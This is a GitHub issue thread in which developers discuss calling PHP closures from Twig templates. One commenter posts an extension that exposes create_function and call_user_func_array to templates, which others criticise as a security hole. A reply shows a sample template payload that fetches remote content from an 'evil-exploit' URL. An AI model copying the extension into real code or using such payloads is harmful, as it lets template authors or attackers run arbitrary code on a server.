Closed outring closed 14 years ago
Is it a good idea to pass a closure as a variable to a template? I'm not sure. Well, I'm quite sure it's not ;) Do you have any use case for that?
http://gist.github.com/426310 is a very dirty hack to call closures via a twig template, I was just curious to see if it was doable
with this, you have to use with a macro-like syntax in the template, but assign it as a member of an array in the context
like $context = array('closures' => array('someclosure' => function(...){ ... }));
and {{ closures.someclosure(...) }}
definitely not proposing this go into the core, just showing an example
I've yet to write a lot of closure stuff because I can't do work stuff on 5.3 yet but if I come up with a good use, then I will think of a cleaner solution
I'm closing that issue as I don't see any use case for that that really makes sense in a template.
I'm closing that issue as I don't see any use case for that that really makes sense in a template.
I can see this is useful for late instanciation. This is a callable, if Twig doesn't allow this, why should it allow other forms of callables ? This sounds like a useless difference to me.
We do not support callables. We only support functions, static class methods, and methods on extensions. That's because we need to be able to access that from a "compiled" PHP code, which is not executed in the same context as the original code.
if anything you can add yourself a helper global object with a __call() method that executes your closures as necessary.
Yet in a silex + twig usage, this look weird and I'm pretty sure Closure would perfectly fit
<?php
$app['twig']->addFunction('cursor', new Twig_Function_Function('cursor'));
function cursor($params)
{
return 12345;
}
@ludofleury Please think about the result when compiling the template. It cannot be done for closures.
Well, it can be done, but it would be messy and it would change the nature of compiled templates. You'd have to assume that everything is valid at compile time and then throw exceptions at runtime when it can't be matched to a defined function.
@Fustrate No. the closure would have to be calle at runtime, which cannot be done as you cannot compile the closure in the template
@stof That's why I'm saying you'd have to compile it with only the name of the function, and then at run time check to see if it's currently defined as a twig function. Not particularly difficult to do, but that's not how Twig works right now - it's supposed to find errors such as undefined functions at compile time so that it doesn't have to worry about it at run time.
Here is a simple way to create and use closure in Twig:
class PhpExtensions extends Twig_Extension
{
public function getFunctions() {
return array(
'closure' => new Twig_Function_Method($this, 'closure'),
'php' => new Twig_Function_Method($this, 'php')
);
}
public function php($function, $args = array())
{
return call_user_func_array($function, $args);
}
public function closure($args, $code)
{
return $this->php('create_function', array($args, $code));
}
public function getName()
{
return 'php_twig_extension';
}
}
Which now allow you to do:
{{ php(closure('', 'var_dump("Hello world !");')) }}
Or:
{{ php('array_map', [ someArray, closure('$item', 'return strtolower($item["SomeField"]);') ] ) }}
@sandvige not at all. The ticket was about passing a closure in the context and being able to call it in the template. Your extension is about allowing the template to define a closure, which is a really bad idea (it means you embed arbitrary PHP code in your template)
I was thinking exactly the same thing, this is against all best practices and SoC.
Ludovic Fleury Sent with Sparrow (http://www.sparrowmailapp.com/?sig)
On Wednesday, November 7, 2012 at 3:40 PM, Christophe Coevoet wrote:
@sandvige (https://github.com/sandvige) not at all. The ticket was about passing a closure in the context and being able to call it in the template. Your extension is about allowing the template to define a closure, which is a really bad idea (it means you embed arbitrary PHP code in your template)
— Reply to this email directly or view it on GitHub (https://github.com/fabpot/Twig/issues/24#issuecomment-10150238).
Hello,
@stof: About the context, yes, I know, but I was posting here because when you're looking for "closure in twig", you land on this page. My comment was not about solving the issue, which is closed, but just helping people looking for that in their Twig :)
@stof, @ludofleury: About embedding arbitrary code in your template, and going against all best practices and SoC, why is it such a concern since PHP is also a way to alternatively handle templating in Symfony ? Here is just a way to generically extend what Twig is able to do.
About SoC, I assume you're talking about what a View should do in an MVC context (even if Twig is not really the 'V' from MVC since Twig is not requesting thing from the controller, but it uses things the Controller is giving to Twig, but anyway :)), and I think Twig is made to format the data, whatever how complex the data should be transformed to.
What would be the best practice to be able to call array_map ? Creating a new extension which would just map / bind a PHP function ? Until the next required PHP function ?
Your comment about V is interesting, but it's almost impossible for me to answer your question since it's always a question of context/needs/philosophy.
On Wed, Nov 7, 2012 at 6:28 PM, COLE Edouard notifications@github.comwrote:
Hello,
@stof https://github.com/stof: About the context, yes, I know, but I was posting here because when you're looking for "closure in twig", you land on this page. My comment was not about solving the issue, which is closed, but just helping people looking for that in their Twig :)
@stof https://github.com/stof, @ludofleuryhttps://github.com/ludofleury: About embedding arbitrary code in your template, and going against all best practices and SoC, why is it such a concern since PHP is also a way to alternatively handle templating in Symfony ? Here is just a way to generically extend what Twig is able to do.
About SoC, I assume you're talking about what a View should do in an MVC context (even if Twig is not really the 'V' from MVC since Twig is not requesting thing from the controller, but it uses things the Controller is giving to Twig, but anyway :)), and I think Twig is made to format the data, whatever how complex the data should be transformed to.
What would be the best practice to be able to call array_map ? Creating a new extension which would just map / bind a PHP function ? Until the next required PHP function ?
— Reply to this email directly or view it on GitHubhttps://github.com/fabpot/Twig/issues/24#issuecomment-10157010.
Ludovic Fleury Paris, France.
+33 664 135 946 Follow me on twitter : @ludofleury http://twitter.com/ludofleury
Allowing to call php functions directly is an big security issue! And also breaks the sandbox system.
{{ php(closure('', 'echo file_gets_content(\'http://example.com/evil-exploit.php\')')) }}
@sstok Who are you not trusting? The developer? What's the difference between calling that or adding this code in a registered Twig filter / function?
Because Templates might be provided from a database or such, and not every designer will understand that doing this is wrong, and as is said it breaks the sandbox system.
If the PHP code that is executed in template is not validated you can run in to some serious issues.
Now there is no support for calling closures. Call to 1st-level closure {{ closure('test') }} causes syntax error, call 2nd-level (and more) closure {{ some.closure('test') }} causes php error (can't convert closure to string)